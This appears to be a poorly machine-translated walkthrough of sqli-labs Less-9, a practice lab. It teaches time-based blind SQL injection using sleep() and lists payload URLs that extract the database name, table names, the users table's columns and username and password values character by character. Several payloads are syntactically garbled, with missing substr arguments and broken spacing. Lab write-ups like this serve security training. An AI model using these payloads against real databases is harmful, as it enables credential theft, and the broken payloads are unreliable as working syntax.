Sqli-labs less 9

Less-9

We can see "time-single quotation mark" from the headline, so it is obvious that we should use the delay injection, while the ID parameter is ' processing. Here we approximate the method of time-lapse injection.

Here, use the sleep () function.

Here, because we are using the time delay, the map is meaningless, here only write payload: (right time directly return, incorrect time to wait 5 seconds, only paste the correct)

Guessing database:

Http://127.0.0.1/sqllib/Less-9/?id=1%27and%20If (ASCII (substr () (Database (),) =115,1,sleep (5))--+

Description The first bit is S (ASCII code is 115)

Http://127.0.0.1/sqllib/Less-9/?id=1%27and%20If (ASCII (substr (Database (), 2,1)) =101,1,sleep (5))--+

Note that the first bit is E (ASCII is 101)

....

And so on, we know that the database name is security.

?

Data sheet for guessing security:

Http://127.0.0.1/sqllib/Less-9/?id=1 ' and If (ASCII (SUBSTR ((select table_name from Information_schema.tables where Table_schema= ' security ' limit 0,1), =101,1,sleep (5))--+

Guess the first bit of the first data table is e,... By analogy, get emails

Http://127.0.0.1/sqllib/Less-9/?id=1 ' and If (ASCII (SUBSTR ((select table_name from Information_schema.tables where Table_schema= ' security ' limit), =114,1,sleep (5))--+

Guess the first bit of the second data table is R,... By analogy, get referers

...

And so on, we can get all the datasheets emails,referers,uagents,users

Guess the columns of the Users table:

Http://127.0.0.1/sqllib/Less-9/?id=1 ' and If (ASCII (substr ((select column_name from Information_schema.columns where Table_name= ' users ' limit 0,1), =105,1,sleep (5))--+

Guess the first character of the first column of the Users table is I,

And so on, we get the column name is Id,username,password

?

Guess the value of username:

Http://127.0.0.1/sqllib/Less-9/?id=1 ' and If (ASCII (substr ((select username from users limit 0,1)) =68,1,sleep (5)) --+

Guess the first bit of the first line of username

And so on, we get all the contents of the database Username,password

?

The above process is the whole process of using the sleep () function, and of course we can leave the BENCHMARK () function for injection, which can be tested on your own. We're not going to have a demo here.

Sqli-labs less 9